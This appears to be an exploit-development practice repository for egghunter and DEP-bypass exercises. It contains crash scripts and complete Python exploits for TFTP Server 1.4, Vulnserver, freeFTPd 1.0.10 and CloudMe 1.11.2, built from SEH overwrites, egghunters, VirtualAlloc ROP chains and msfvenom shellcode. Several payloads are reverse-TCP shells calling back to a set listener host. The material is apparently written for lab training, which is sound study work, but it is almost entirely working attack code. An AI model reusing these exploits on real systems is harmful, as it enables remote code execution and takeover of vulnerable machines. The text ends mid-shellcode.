45 | shellcode += b"\x6e\x70\x15\x38\x5f\x14\x91\x41\xbd\x84\x5e"
46 | shellcode += b"\x98\x05\xa4\xbc\x08\x70\x4d\x19\xd9\x39\x10"
47 | shellcode += b"\x9a\x34\x7d\x2d\x19\xbc\xfe\xca\x01\xb5\xfb"
48 | shellcode += b"\x97\x85\x26\x76\x87\x63\x48\x25\xa8\xa1"
49 | 
50 | payload = b"c0d3c0d3" #8 bytes
51 | payload += shellcode
52 | payload += b"A" * (OFFSET - 100 - 8 - len(shellcode))
53 | payload += b"\x90" * (100 - len(egghunter))
54 | payload += egghunter
55 | payload += struct.pack("<I",0x9aeb9090) # jmp -100
56 | payload += struct.pack("<I",0x00401684) # PPR
57 | payload += b"D" * (CRASH_LEN - len(payload))
58 | 
59 | 
60 | transport = paramiko.Transport(target)	
61 | 
62 | transport.connect(username = payload, password = "test")	
63 | transport.close()
64 | 


--------------------------------------------------------------------------------
/3.egghunter/TFTPServer_1.4/README.md:
--------------------------------------------------------------------------------
 1 | # TFTP Server 1.4
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/apps/f07b073307052ccfb02fe1af243bb229-tftpserverspV1.4.tar.gz
 4 | 
 5 | ## Initial Crash
 6 | ```py
 7 | import struct
 8 | import socket
 9 | 
10 | TARGET_IP = "127.0.0.1"
11 | TARGET_PORT = 69
12 | target = (TARGET_IP, TARGET_PORT) 
13 | 
14 | CRASH_LEN = 1600 # change me
15 | 
16 | payload = b"A" * CRASH_LEN
17 | 
18 | mode = b"netascii"
19 | packet = b"\x00\x02" + payload + b"\x00" + mode + b"\x00"
20 | 
21 | s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
22 | 
23 | s.sendto(packet, (TARGET_IP, TARGET_PORT))
24 | ```
25 | 


--------------------------------------------------------------------------------
/3.egghunter/TFTPServer_1.4/exploit.py:
--------------------------------------------------------------------------------
 1 | import struct
 2 | import socket
 3 | 
 4 | TARGET_IP = "127.0.0.1"
 5 | TARGET_PORT = 69
 6 | target = (TARGET_IP, TARGET_PORT) 
 7 | 
 8 | egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
 9 | 
10 | #calc.exe W10 x86
11 | shellcode = b"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7"  
12 | CRASH_LEN = 1600  # change me
13 | OFFSET = 1264
14 | 
15 | payload = b"c0d3c0d3" # 8 bytes
16 | payload += shellcode 
17 | payload += b"A" * (OFFSET - 100 - 8 - len(shellcode))
18 | payload += b"\x90" * (100 - len(egghunter))
19 | payload += egghunter
20 | payload += struct.pack("<I",0x9aeb9090) #nseh - jump -100
21 | payload += struct.pack("<I",0x00409605) #seh PPR
22 | payload += b"D" * (CRASH_LEN - len(payload))
23 | 
24 | 
25 | mode = b"netascii"
26 | packet = b"\x00\x02" + payload + b"\x00" + mode + b"\x00"
27 | 
28 | s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
29 | s.sendto(packet, (TARGET_IP, TARGET_PORT))
30 | 


--------------------------------------------------------------------------------
/3.egghunter/Vulnserver_GMON/README.md:
--------------------------------------------------------------------------------
 1 | # Vulnserver - GMON Command
 2 | 
 3 | Downloaded from: https://github.com/stephenbradshaw/vulnserver
 4 | 
 5 | ## Initial Crash
 6 | 
 7 | ```py
 8 | import struct
 9 | import socket
10 | 
11 | VULNSRVR_CMD = b"GMON  /.:/"  # change me
12 | CRASH_LEN = 5011  # change me
13 | TARGET_IP = "127.0.0.1"
14 | TARGET_PORT = 9999
15 | 
16 | target = (TARGET_IP, TARGET_PORT)  # vulnserver
17 | 
18 | payload = VULNSRVR_CMD
19 | payload += b"A" * CRASH_LEN
20 | 
21 | with socket.create_connection(target) as sock:
22 |     sock.recv(512)  # Welcome to Vulnerable Server! ... 
23 | 
24 |     sent = sock.send(payload)
25 |     print(f"sent {sent} bytes")
26 | ```
27 | 


--------------------------------------------------------------------------------
/3.egghunter/Vulnserver_GMON/exploit.py:
--------------------------------------------------------------------------------
 1 | import struct
 2 | import socket
 3 | 
 4 | VULNSRVR_CMD = b"GMON  /.:/"  # change me
 5 | CRASH_LEN = 5011  # change me
 6 | OFFSET = 3546
 7 | TARGET_IP = "127.0.0.1"
 8 | TARGET_PORT = 9999
 9 | 
10 | target = (TARGET_IP, TARGET_PORT)  # vulnserver
11 | 
12 | egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
13 | 
14 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00' EXITFUNC=thread
15 | shellcode =  b""
16 | shellcode += b"\xbb\x0a\xd3\x29\x1b\xdb\xdc\xd9\x74\x24\xf4"
17 | shellcode += b"\x5a\x29\xc9\xb1\x52\x83\xc2\x04\x31\x5a\x0e"
18 | shellcode += b"\x03\x50\xdd\xcb\xee\x98\x09\x89\x11\x60\xca"
19 | shellcode += b"\xee\x98\x85\xfb\x2e\xfe\xce\xac\x9e\x74\x82"
20 | shellcode += b"\x40\x54\xd8\x36\xd2\x18\xf5\x39\x53\x96\x23"
21 | shellcode += b"\x74\x64\x8b\x10\x17\xe6\xd6\x44\xf7\xd7\x18"
22 | shellcode += b"\x99\xf6\x10\x44\x50\xaa\xc9\x02\xc7\x5a\x7d"
23 | shellcode += b"\x5e\xd4\xd1\xcd\x4e\x5c\x06\x85\x71\x4d\x99"
24 | shellcode += b"\x9d\x2b\x4d\x18\x71\x40\xc4\x02\x96\x6d\x9e"
25 | shellcode += b"\xb9\x6c\x19\x21\x6b\xbd\xe2\x8e\x52\x71\x11"
26 | shellcode += b"\xce\x93\xb6\xca\xa5\xed\xc4\x77\xbe\x2a\xb6"
27 | shellcode += b"\xa3\x4b\xa8\x10\x27\xeb\x14\xa0\xe4\x6a\xdf"
28 | shellcode += b"\xae\x41\xf8\x87\xb2\x54\x2d\xbc\xcf\xdd\xd0"
29 | shellcode += b"\x12\x46\xa5\xf6\xb6\x02\x7d\x96\xef\xee\xd0"
30 | shellcode += b"\xa7\xef\x50\x8c\x0d\x64\x7c\xd9\x3f\x27\xe9"
31 | shellcode += b"\x2e\x72\xd7\xe9\x38\x05\xa4\xdb\xe7\xbd\x22"
32 | shellcode += b"\x50\x6f\x18\xb5\x97\x5a\xdc\x29\x66\x65\x1d"
33 | shellcode += b"\x60\xad\x31\x4d\x1a\x04\x3a\x06\xda\xa9\xef"
34 | shellcode += b"\x89\x8a\x05\x40\x6a\x7a\xe6\x30\x02\x90\xe9"
35 | shellcode += b"\x6f\x32\x9b\x23\x18\xd9\x66\xa4\xe7\xb6\x69"
36 | shellcode += b"\x08\x80\xc4\x69\x6a\xd5\x40\x8f\xe0\xc5\x04"
37 | shellcode += b"\x18\x9d\x7c\x0d\xd2\x3c\x80\x9b\x9f\x7f\x0a"
38 | shellcode += b"\x28\x60\x31\xfb\x45\x72\xa6\x0b\x10\x28\x61"
39 | shellcode += b"\x13\x8e\x44\xed\x86\x55\x94\x78\xbb\xc1\xc3"
40 | shellcode += b"\x2d\x0d\x18\x81\xc3\x34\xb2\xb7\x19\xa0\xfd"
41 | shellcode += b"\x73\xc6\x11\x03\x7a\x8b\x2e\x27\x6c\x55\xae"
42 | shellcode += b"\x63\xd8\x09\xf9\x3d\xb6\xef\x53\x8c\x60\xa6"
43 | shellcode += b"\x08\x46\xe4\x3f\x63\x59\x72\x40\xae\x2f\x9a"
44 | shellcode += b"\xf1\x07\x76\xa5\x3e\xc0\x7e\xde\x22\x70\x80"
45 | shellcode += b"\x35\xe7\x90\x63\x9f\x12\x39\x3a\x4a\x9f\x24"
46 | shellcode += b"\xbd\xa1\xdc\x50\x3e\x43\x9d\xa6\x5e\x26\x98"
47 | shellcode += b"\xe3\xd8\xdb\xd0\x7c\x8d\xdb\x47\x7c\x84"
48 | 
49 | 
50 | payload = VULNSRVR_CMD
51 | payload += b"c0d3c0d3"
52 | payload += shellcode
53 | payload += b"\x90" * (OFFSET - 80 - 359) # 351 (len(shellcode)+ 8(len(c0d3c0d3))
54 | payload += egghunter
55 | payload += b"\x90" * (80 - len(egghunter))
56 | payload += struct.pack("<I",0x06eb9090) #short jump  NSEH
57 | payload += struct.pack("<I",0x625010b4) #PPR - SEH
58 | payload += b"\x90" * 5
59 | payload += b"\xe9\x97\xff\xff\xff" # jump -100 E9 97 FF FF FF
60 | payload += b"D" * (CRASH_LEN - len(payload))
61 | 
62 | with socket.create_connection(target) as sock:
63 |     sock.recv(512)  # Welcome to Vulnerable Server! ... 
64 | 
65 |     sent = sock.send(payload)
66 |     print(f"sent {sent} bytes")
67 | 


--------------------------------------------------------------------------------
/3.egghunter/Vulnserver_KSTET/README.md:
--------------------------------------------------------------------------------
 1 | # Vulnserver - Command KSTET
 2 | 
 3 | Downloaded from: https://github.com/stephenbradshaw/vulnserver
 4 | 
 5 | ## Initial Crash
 6 | ```py
 7 | import struct
 8 | import socket
 9 | 
10 | 
11 | TARGET_IP = "127.0.0.1"
12 | TARGET_PORT = 9999
13 | target = (TARGET_IP, TARGET_PORT)  # vulnserver
14 | 
15 | 
16 | VULNSRVR_CMD = b"KSTET "  # change me
17 | CRASH_LEN = 1000  # change me
18 | 
19 | payload = VULNSRVR_CMD
20 | payload += b"A" * CRASH_LEN
21 | 
22 | with socket.create_connection(target) as sock:
23 |     sock.recv(512)  # Welcome to Vulnerable Server! ... 
24 | 
25 |     sent = sock.send(payload)
26 |     print(f"sent {sent} bytes")
27 | ```    
28 | 


--------------------------------------------------------------------------------
/3.egghunter/Vulnserver_KSTET/exploit.py:
--------------------------------------------------------------------------------
 1 | import struct
 2 | import socket
 3 | 
 4 | 
 5 | TARGET_IP = "127.0.0.1"
 6 | TARGET_PORT = 9999
 7 | target = (TARGET_IP, TARGET_PORT)  # vulnserver
 8 | 
 9 | #\x00
10 | 
11 | VULNSRVR_CMD = b"KSTET "  # change me
12 | CRASH_LEN = 1000  # change me
13 | OFFSET = 70
14 | 
15 | #c0d3c0d3
16 | egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
17 | 
18 | #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00' EXITFUNC=thread
19 | shellcode =  b""
20 | shellcode += b"\xb8\x37\x89\x8a\x38\xdb\xdf\xd9\x74\x24\xf4"
21 | shellcode += b"\x5a\x33\xc9\xb1\x52\x31\x42\x12\x03\x42\x12"
22 | shellcode += b"\x83\xf5\x8d\x68\xcd\x05\x65\xee\x2e\xf5\x76"
23 | shellcode += b"\x8f\xa7\x10\x47\x8f\xdc\x51\xf8\x3f\x96\x37"
24 | shellcode += b"\xf5\xb4\xfa\xa3\x8e\xb9\xd2\xc4\x27\x77\x05"
25 | shellcode += b"\xeb\xb8\x24\x75\x6a\x3b\x37\xaa\x4c\x02\xf8"
26 | shellcode += b"\xbf\x8d\x43\xe5\x32\xdf\x1c\x61\xe0\xcf\x29"
27 | shellcode += b"\x3f\x39\x64\x61\xd1\x39\x99\x32\xd0\x68\x0c"
28 | shellcode += b"\x48\x8b\xaa\xaf\x9d\xa7\xe2\xb7\xc2\x82\xbd"
29 | shellcode += b"\x4c\x30\x78\x3c\x84\x08\x81\x93\xe9\xa4\x70"
30 | shellcode += b"\xed\x2e\x02\x6b\x98\x46\x70\x16\x9b\x9d\x0a"
31 | shellcode += b"\xcc\x2e\x05\xac\x87\x89\xe1\x4c\x4b\x4f\x62"
32 | shellcode += b"\x42\x20\x1b\x2c\x47\xb7\xc8\x47\x73\x3c\xef"
33 | shellcode += b"\x87\xf5\x06\xd4\x03\x5d\xdc\x75\x12\x3b\xb3"
34 | shellcode += b"\x8a\x44\xe4\x6c\x2f\x0f\x09\x78\x42\x52\x46"
35 | shellcode += b"\x4d\x6f\x6c\x96\xd9\xf8\x1f\xa4\x46\x53\xb7"
36 | shellcode += b"\x84\x0f\x7d\x40\xea\x25\x39\xde\x15\xc6\x3a"
37 | shellcode += b"\xf7\xd1\x92\x6a\x6f\xf3\x9a\xe0\x6f\xfc\x4e"
38 | shellcode += b"\xa6\x3f\x52\x21\x07\xef\x12\x91\xef\xe5\x9c"
39 | shellcode += b"\xce\x10\x06\x77\x67\xba\xfd\x10\x48\x93\xfc"
40 | shellcode += b"\xdc\x20\xe6\xfe\x06\x34\x6f\x18\x5c\x26\x26"
41 | shellcode += b"\xb3\xc9\xdf\x63\x4f\x6b\x1f\xbe\x2a\xab\xab"
42 | shellcode += b"\x4d\xcb\x62\x5c\x3b\xdf\x13\xac\x76\xbd\xb2"
43 | shellcode += b"\xb3\xac\xa9\x59\x21\x2b\x29\x17\x5a\xe4\x7e"
44 | shellcode += b"\x70\xac\xfd\xea\x6c\x97\x57\x08\x6d\x41\x9f"
45 | shellcode += b"\x88\xaa\xb2\x1e\x11\x3e\x8e\x04\x01\x86\x0f"
46 | shellcode += b"\x01\x75\x56\x46\xdf\x23\x10\x30\x91\x9d\xca"
47 | shellcode += b"\xef\x7b\x49\x8a\xc3\xbb\x0f\x93\x09\x4a\xef"
48 | shellcode += b"\x22\xe4\x0b\x10\x8a\x60\x9c\x69\xf6\x10\x63"
49 | shellcode += b"\xa0\xb2\x31\x86\x60\xcf\xd9\x1f\xe1\x72\x84"
50 | shellcode += b"\x9f\xdc\xb1\xb1\x23\xd4\x49\x46\x3b\x9d\x4c"
51 | shellcode += b"\x02\xfb\x4e\x3d\x1b\x6e\x70\x92\x1c\xbb"
52 | 
53 | 
54 | EGG_SIZE = 1000
55 | first_stage = b"STATS "
56 | first_stage += b"c0d3c0d3" # 8 bytes
57 | first_stage += shellcode
58 | first_stage += b"B" * (EGG_SIZE - 8 - len(shellcode))
59 | 
60 | payload = VULNSRVR_CMD
61 | payload += egghunter
62 | payload += b"A" * (OFFSET - len(egghunter))
63 | payload += struct.pack("<I",0x625011af) # jmp esp
64 | payload += b"\x90" * 4
65 | payload += b"\x83\xc0\x06" # add eax + 6
66 | payload += b"\xff\xe0" # jmp eax
67 | payload += b"C" * (CRASH_LEN - len(payload))
68 | 
69 | with socket.create_connection(target) as sock:
70 |     sock.recv(512)  # Welcome to Vulnerable Server! ... 
71 |     sent = sock.send(first_stage) # TRUN BBBB..
72 |     
73 | 
74 | with socket.create_connection(target) as sock:
75 |     sock.recv(512)  # Welcome to Vulnerable Server! ... 
76 |     sent = sock.send(payload)
77 |     #print(f"sent {sent} bytes")
78 | 


--------------------------------------------------------------------------------
/3.egghunter/freeFTPd_1.0.10/README.md:
--------------------------------------------------------------------------------
 1 | # freeFTPd 1.0.10
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/exploits/27747
 4 | 
 5 | ## Initial Crash
 6 | 
 7 | ```py
 8 | import struct
 9 | import socket
10 | 
11 | TARGET_IP = "127.0.0.1"
12 | TARGET_PORT = 21
13 | target = (TARGET_IP, TARGET_PORT) 
14 | 
15 | CRASH_LEN = 2000  # change me
16 | 
17 | payload = b'PASS '
18 | payload += b"A" * CRASH_LEN
19 | 
20 | payload += b'\r\n'
21 | 
22 | with socket.create_connection(target) as sock:
23 |     sock.recv(1024)
24 |     sock.send(b"USER anonymous\r\n") 
25 | 
26 |     sock.recv(1024)
27 |     sock.send(payload)   
28 | 
29 |     sock.close()
30 |     
31 |     print("\nDone!")
32 | ```
33 | 


--------------------------------------------------------------------------------
/3.egghunter/freeFTPd_1.0.10/exploit.py:
--------------------------------------------------------------------------------
 1 | import struct
 2 | import socket
 3 | 
 4 | 
 5 | TARGET_IP = "127.0.0.1"
 6 | TARGET_PORT = 21
 7 | target = (TARGET_IP, TARGET_PORT) 
 8 | 
 9 | 
10 | CRASH_LEN = 2000  # change me
11 | OFFSET = 797
12 | 
13 | #\x00\x0a\x0d
14 | shellcode =  b""
15 | shellcode += b"\xbb\xd1\xc0\x74\xfa\xdd\xc5\xd9\x74\x24\xf4"
16 | shellcode += b"\x58\x31\xc9\xb1\x52\x83\xe8\xfc\x31\x58\x0e"
17 | shellcode += b"\x03\x89\xce\x96\x0f\xd5\x27\xd4\xf0\x25\xb8"
18 | shellcode += b"\xb9\x79\xc0\x89\xf9\x1e\x81\xba\xc9\x55\xc7"
19 | shellcode += b"\x36\xa1\x38\xf3\xcd\xc7\x94\xf4\x66\x6d\xc3"
20 | shellcode += b"\x3b\x76\xde\x37\x5a\xf4\x1d\x64\xbc\xc5\xed"
21 | shellcode += b"\x79\xbd\x02\x13\x73\xef\xdb\x5f\x26\x1f\x6f"
22 | shellcode += b"\x15\xfb\x94\x23\xbb\x7b\x49\xf3\xba\xaa\xdc"
23 | shellcode += b"\x8f\xe4\x6c\xdf\x5c\x9d\x24\xc7\x81\x98\xff"
24 | shellcode += b"\x7c\x71\x56\xfe\x54\x4b\x97\xad\x99\x63\x6a"
25 | shellcode += b"\xaf\xde\x44\x95\xda\x16\xb7\x28\xdd\xed\xc5"
26 | shellcode += b"\xf6\x68\xf5\x6e\x7c\xca\xd1\x8f\x51\x8d\x92"
27 | shellcode += b"\x9c\x1e\xd9\xfc\x80\xa1\x0e\x77\xbc\x2a\xb1"
28 | shellcode += b"\x57\x34\x68\x96\x73\x1c\x2a\xb7\x22\xf8\x9d"
29 | shellcode += b"\xc8\x34\xa3\x42\x6d\x3f\x4e\x96\x1c\x62\x07"
30 | shellcode += b"\x5b\x2d\x9c\xd7\xf3\x26\xef\xe5\x5c\x9d\x67"
31 | shellcode += b"\x46\x14\x3b\x70\xa9\x0f\xfb\xee\x54\xb0\xfc"
32 | shellcode += b"\x27\x93\xe4\xac\x5f\x32\x85\x26\x9f\xbb\x50"
33 | shellcode += b"\xe8\xcf\x13\x0b\x49\xbf\xd3\xfb\x21\xd5\xdb"
34 | shellcode += b"\x24\x51\xd6\x31\x4d\xf8\x2d\xd2\xb2\x55\x2c"
35 | shellcode += b"\x1e\x5b\xa4\x2e\x44\x1e\x21\xc8\x12\x30\x64"
36 | shellcode += b"\x43\x8b\xa9\x2d\x1f\x2a\x35\xf8\x5a\x6c\xbd"
37 | shellcode += b"\x0f\x9b\x23\x36\x65\x8f\xd4\xb6\x30\xed\x73"
38 | shellcode += b"\xc8\xee\x99\x18\x5b\x75\x59\x56\x40\x22\x0e"
39 | shellcode += b"\x3f\xb6\x3b\xda\xad\xe1\x95\xf8\x2f\x77\xdd"
40 | shellcode += b"\xb8\xeb\x44\xe0\x41\x79\xf0\xc6\x51\x47\xf9"
41 | shellcode += b"\x42\x05\x17\xac\x1c\xf3\xd1\x06\xef\xad\x8b"
42 | shellcode += b"\xf5\xb9\x39\x4d\x36\x7a\x3f\x52\x13\x0c\xdf"
43 | shellcode += b"\xe3\xca\x49\xe0\xcc\x9a\x5d\x99\x30\x3b\xa1"
44 | shellcode += b"\x70\xf1\x5b\x40\x50\x0c\xf4\xdd\x31\xad\x99"
45 | shellcode += b"\xdd\xec\xf2\xa7\x5d\x04\x8b\x53\x7d\x6d\x8e"
46 | shellcode += b"\x18\x39\x9e\xe2\x31\xac\xa0\x51\x31\xe5"
47 | 
48 | egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
49 | 
50 | 
51 | payload = b'PASS '
52 | payload += b'c0d3c0d3' # 8 bytes
53 | payload += shellcode
54 | payload += b"A" * (OFFSET - 100 - 8 - len(shellcode))
55 | payload += b"\x90" * (100 - len(egghunter))
56 | payload += egghunter
57 | payload += struct.pack("<I",0x9aeb9090) # short jump -100 
58 | payload += struct.pack("<I",0x00434f17) #PPR - SEH
59 | payload += b"D" * (CRASH_LEN - len(payload))
60 | payload += b'\r\n'
61 | 
62 | with socket.create_connection(target) as sock:
63 |     sock.recv(1024)
64 |     sock.send(b"USER anonymous\r\n") 
65 | 
66 |     sock.recv(1024)
67 |     sock.send(payload)   
68 | 
69 |     sock.close()
70 |     print("\nDone!")
71 | 


--------------------------------------------------------------------------------
/5.dep_bypass/CloudMe_1.11.2/README.md:
--------------------------------------------------------------------------------
 1 | # CloudMe 1.11.2
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/apps/f0534b12cd51fefd44002862918801ab-CloudMe_1112.exe
 4 | 
 5 | ## Initial Crash
 6 | ```py
 7 | from struct import pack
 8 | import socket
 9 | 
10 | #\x00\x0A\x0D
11 | 
12 | TARGET_IP = "127.0.0.1"
13 | TARGET_PORT = 8888
14 | target = (TARGET_IP, TARGET_PORT)  # vulnserver
15 | 
16 | 
17 | crash = 2000  # change me
18 | offset = 1052
19 | 
20 | 
21 | payload = b"A"*offset
22 | payload += b"B"*4
23 | payload += b"C"*(crash - len(payload))
24 | 
25 | with socket.create_connection(target) as sock:
26 | 
27 |     sent = sock.send(payload)
28 |     print(f"sent {sent} bytes")
29 |  ```
30 | 


--------------------------------------------------------------------------------
/5.dep_bypass/CloudMe_1.11.2/exploit.py:
--------------------------------------------------------------------------------
  1 | from struct import pack
  2 | import socket
  3 | 
  4 | 
  5 | TARGET_IP = "127.0.0.1"
  6 | TARGET_PORT = 8888
  7 | target = (TARGET_IP, TARGET_PORT)  # vulnserver
  8 | 
  9 | #\x00\x0A\x0D
 10 | #690398A0 virtual alloc
 11 | #---------------------------------------------------------------------#
 12 | #GOAL       VirtualAlloc 
 13 | # EAX = ptr to &VirtualAlloc()
 14 | # ECX = flProtect (0x40)
 15 | # EDX = flAllocationType (0x1000)
 16 | # EBX = dwSize
 17 | # ESP = lpAddress (automatic)
 18 | # EBP = POP (skip 4 bytes)
 19 | # ESI = ptr to JMP [EAX]
 20 | # EDI = ROP NOP (RETN)                                        
 21 | 
 22 | crash = 2000  # change me
 23 | offset = 1052
 24 | 
 25 | rop_nop = pack("<I",0x68cef5b4) #RETN 
 26 | shellcode =  b""
 27 | shellcode += b"\xdb\xd4\xbf\x9c\x18\x45\xa0\xd9\x74\x24\xf4"
 28 | shellcode += b"\x5a\x29\xc9\xb1\x52\x83\xc2\x04\x31\x7a\x13"
 29 | shellcode += b"\x03\xe6\x0b\xa7\x55\xea\xc4\xa5\x96\x12\x15"
 30 | shellcode += b"\xca\x1f\xf7\x24\xca\x44\x7c\x16\xfa\x0f\xd0"
 31 | shellcode += b"\x9b\x71\x5d\xc0\x28\xf7\x4a\xe7\x99\xb2\xac"
 32 | shellcode += b"\xc6\x1a\xee\x8d\x49\x99\xed\xc1\xa9\xa0\x3d"
 33 | shellcode += b"\x14\xa8\xe5\x20\xd5\xf8\xbe\x2f\x48\xec\xcb"
 34 | shellcode += b"\x7a\x51\x87\x80\x6b\xd1\x74\x50\x8d\xf0\x2b"
 35 | shellcode += b"\xea\xd4\xd2\xca\x3f\x6d\x5b\xd4\x5c\x48\x15"
 36 | shellcode += b"\x6f\x96\x26\xa4\xb9\xe6\xc7\x0b\x84\xc6\x35"
 37 | shellcode += b"\x55\xc1\xe1\xa5\x20\x3b\x12\x5b\x33\xf8\x68"
 38 | shellcode += b"\x87\xb6\x1a\xca\x4c\x60\xc6\xea\x81\xf7\x8d"
 39 | shellcode += b"\xe1\x6e\x73\xc9\xe5\x71\x50\x62\x11\xf9\x57"
 40 | shellcode += b"\xa4\x93\xb9\x73\x60\xff\x1a\x1d\x31\xa5\xcd"
 41 | shellcode += b"\x22\x21\x06\xb1\x86\x2a\xab\xa6\xba\x71\xa4"
 42 | shellcode += b"\x0b\xf7\x89\x34\x04\x80\xfa\x06\x8b\x3a\x94"
 43 | shellcode += b"\x2a\x44\xe5\x63\x4c\x7f\x51\xfb\xb3\x80\xa2"
 44 | shellcode += b"\xd2\x77\xd4\xf2\x4c\x51\x55\x99\x8c\x5e\x80"
 45 | shellcode += b"\x0e\xdc\xf0\x7b\xef\x8c\xb0\x2b\x87\xc6\x3e"
 46 | shellcode += b"\x13\xb7\xe9\x94\x3c\x52\x10\x7f\x83\x0b\x1b"
 47 | shellcode += b"\x43\x6b\x4e\x1b\xa1\xee\xc7\xfd\xbf\xe0\x81"
 48 | shellcode += b"\x56\x28\x98\x8b\x2c\xc9\x65\x06\x49\xc9\xee"
 49 | shellcode += b"\xa5\xae\x84\x06\xc3\xbc\x71\xe7\x9e\x9e\xd4"
 50 | shellcode += b"\xf8\x34\xb6\xbb\x6b\xd3\x46\xb5\x97\x4c\x11"
 51 | shellcode += b"\x92\x66\x85\xf7\x0e\xd0\x3f\xe5\xd2\x84\x78"
 52 | shellcode += b"\xad\x08\x75\x86\x2c\xdc\xc1\xac\x3e\x18\xc9"
 53 | shellcode += b"\xe8\x6a\xf4\x9c\xa6\xc4\xb2\x76\x09\xbe\x6c"
 54 | shellcode += b"\x24\xc3\x56\xe8\x06\xd4\x20\xf5\x42\xa2\xcc"
 55 | shellcode += b"\x44\x3b\xf3\xf3\x69\xab\xf3\x8c\x97\x4b\xfb"
 56 | shellcode += b"\x47\x1c\x6b\x1e\x4d\x69\x04\x87\x04\xd0\x49"
 57 | shellcode += b"\x38\xf3\x17\x74\xbb\xf1\xe7\x83\xa3\x70\xed"
 58 | shellcode += b"\xc8\x63\x69\x9f\x41\x06\x8d\x0c\x61\x03"
 59 | 
 60 | #ECX {DONE} - 
 61 | ecx = pack("<I",0x68b90948)  # XOR ECX,ECX # MOV EAX,ECX # POP EBX # POP ESI # RETN
 62 | ecx += pack('<L',0x41414141) # padding for pop ebp
 63 | ecx += pack('<L',0x41414141) # padding for pop esi
 64 | ecx += pack("<I",0x68ca4266)  # ADD ECX,40 # OR EAX,ECX # RETN 0x08  
 65 | ecx += rop_nop
 66 | ecx += rop_nop
 67 | ecx += rop_nop
 68 | 
 69 | #EDX {DONE} - 
 70 | edx = pack("<I",0x68ae2632)  # POP EDX # RETN   
 71 | edx += pack("<I",0xffffefff) # -1001 (1001 perchè 1000 contiene \x00)
 72 | edx += pack("<I",0x68c3cc03)  # INC EDX # RETN  
 73 | edx += pack("<I",0x68bd5fe4)  # NEG EDX # RETN 0x0C --> 1000 
 74 | edx += rop_nop
 75 | edx += rop_nop
 76 | edx += rop_nop
 77 | edx += rop_nop
 78 |  
 79 | 
 80 | #EBX {DONE}  - 
 81 | ebx = pack("<I",0x68ce0125)  # POP EBX # RETN    
 82 | ebx += pack("<I",0xffffffff) # -1 
 83 | ebx += pack("<I",0x68fcab99)  # INC EBX # RETN 
 84 | ebx += pack("<I",0x68fcab99)  # INC EBX # RETN 
 85 | 
 86 | #EBP {DONE} - 
 87 | ebp = pack("<I",0x68b60144)  # POP EBP # RETN  
 88 | ebp += pack("<I",0x68b60144)  # POP EBP # RETN  
 89 | 
 90 | #ESI {DONE} - 
 91 | esi = pack("<I",0x68aa7d91)  # POP ESI # RETN 
 92 | esi += pack("<I",0x68a9314e)  # JMP [EAX] 
 93 | 
 94 | #EAX
 95 | eax = pack("<I",0x68d3a2b1)  # POP EAX # RETN
 96 | eax += pack("<I",0x690398a0)  # ptr to &VirtualAlloc() 
 97 | 
 98 | #EDI {DONE} - 
 99 | edi = pack("<I",0x68d6019e)  # POP EDI # RETN  
100 | edi += rop_nop
101 | 
102 | pushad = pack("<I",0x68fd02d7)  # PUSHAD # RETN  
103 | push_esp = pack("<I",0x68aa11e6) # push esp
104 | 
105 | rop = ecx
106 | rop += esi
107 | rop += eax
108 | rop += edx
109 | rop += ebx
110 | rop += ebp
111 | rop += edi
112 | rop += pushad
113 | rop += push_esp
114 | 
115 | nops = b"\x90"*5
116 | 
117 | payload = b"A"*offset
118 | payload += rop_nop
119 | payload += rop
120 | payload += nops
121 | payload += shellcode
122 | payload += b"C"*(crash - len(payload))
123 | 
124 | with socket.create_connection(target) as sock:
125 | 
126 |     sent = sock.send(payload)
127 |     print(f"sent {sent} bytes")
128 | 


--------------------------------------------------------------------------------
/5.dep_bypass/CloudMe_1.11.2/exploit_virtualalloc.py:
--------------------------------------------------------------------------------
  1 | from struct import pack
  2 | import socket
  3 | 
  4 | #\x00\x0A\x0D
  5 | 
  6 | TARGET_IP = "127.0.0.1"
  7 | TARGET_PORT = 8888
  8 | target = (TARGET_IP, TARGET_PORT) 
  9 | 
 10 | 
 11 | #690398A0 - virtual alloc
 12 | crash = 2000  # change me
 13 | offset = 1052
 14 | 
 15 | rop_nop = pack("<I",0x68ee5174) # RETN
 16 | 
 17 | shellcode =  b""
 18 | shellcode += b"\xbd\xc7\x27\xb4\xc8\xda\xce\xd9\x74\x24\xf4"
 19 | shellcode += b"\x5f\x2b\xc9\xb1\x53\x83\xef\xfc\x31\x6f\x0e"
 20 | shellcode += b"\x03\xa8\x29\x56\x3d\xca\xde\x14\xbe\x32\x1f"
 21 | shellcode += b"\x79\x36\xd7\x2e\xb9\x2c\x9c\x01\x09\x26\xf0"
